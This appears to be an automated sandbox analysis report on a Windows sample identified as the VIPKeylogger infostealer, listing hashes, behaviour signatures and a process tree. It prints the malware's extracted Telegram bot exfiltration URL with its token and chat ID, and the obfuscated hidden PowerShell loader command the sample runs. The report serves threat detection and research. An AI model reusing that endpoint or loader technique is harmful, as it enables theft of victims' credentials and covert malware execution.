Analysis
-
max time kernel
144s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
-
submitted
27/02/2025, 01:50
General
-
Target
87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe
-
Size
786KB
-
MD5
7d86b00fcf326a69ff63a4112c70b00e
-
SHA1
a176064c342fa83e99614f98dfb70bb82c5b60e4
-
SHA256
87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11
-
SHA512
25c3be5fed2446f9d549a68a21ddbcdd43b9d5741574c8afe26d357693669b0e828da20610b84861b5b878ff5d9fb3d360671ddc6b1b8a181a8db9eb92b4e0bc
-
SSDEEP
24576:Taog+Lb1hElIM9LXIxZB4hC6ZzANJ9lBj94YyOq:TZgwSlIcz4aCAzu948q
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7564802476:AAFNFXEtg3BsKAA3SsfbX1loYJO05v_Jivo/sendMessage?chat_id=7904458796
Signatures
-
VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
-
Vipkeylogger family
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
-
Blocklisted process makes network request 8 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
-
Suspicious behavior: MapViewOfSection 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 23 IoCs
-
Suspicious use of WriteProcessMemory 7 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe"C:\Users\Admin\AppData\Local\Temp\87cf7164b78119e27b02fddc73bd339e81eb71c3d0a5c81722c065ff64bbcc11.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Antegnede68=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\toytown\comminuate\segregerer\Wrynesses.Alg';$Buxtehude=$Antegnede68.SubString(54302,3);.$Buxtehude($Antegnede68)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
379KB
MD563de1104ff2547d796892a3c6b19e8f5
SHA134ef5ac6a29a6bc8198aa23d555c7c7d0ce2bc9d
SHA2568bec41397f3b328f8e78891fe43a6ddecfb189a8c799a1b17aa8e90d7c05a6cd
SHA512f102dfb991fdc1f8b9836bd8cf07b3f1935dc61e947dd378e6f9bd54221b4470fd0a72c67cc0aed3586c588b127a15e80e71e624c5562e92aebdc944a5e72d36
-
Filesize
53KB
MD5f5b2b137807856875a8775b2ca0a78d9
SHA1b0df4707f99a9f8d6424838fec2ab61cb777e421
SHA256be590cff8cc5b344be42be1818daddaf6eb346ee427e7f6ce07ba3abd8238959
SHA51234f9aae5557211f37342bf60b85b30031be09e5f03a58fc446730944bc801ebf7cc3763f6f601b92357459b82eb9252a6d37899a34456b6fcc42c4ecfb9d243e
-
Filesize
18.3MB
-
Filesize
18.3MB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
5.2MB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
624KB
-
Filesize
296KB
-
Filesize
200KB
-
Filesize
104KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
104KB
-
Filesize
5.6MB
-
Filesize
6.5MB
-
Filesize
304KB
-
Filesize
120KB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
652KB
-
Filesize
40KB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
80KB
-
Filesize
3.3MB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
80.6MB
-
Filesize
7.7MB
-
Filesize
408KB
-
Filesize
7.7MB
-
Filesize
136KB
-
Filesize
6.2MB
-
Filesize
7.7MB
-
Filesize
216KB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
7.7MB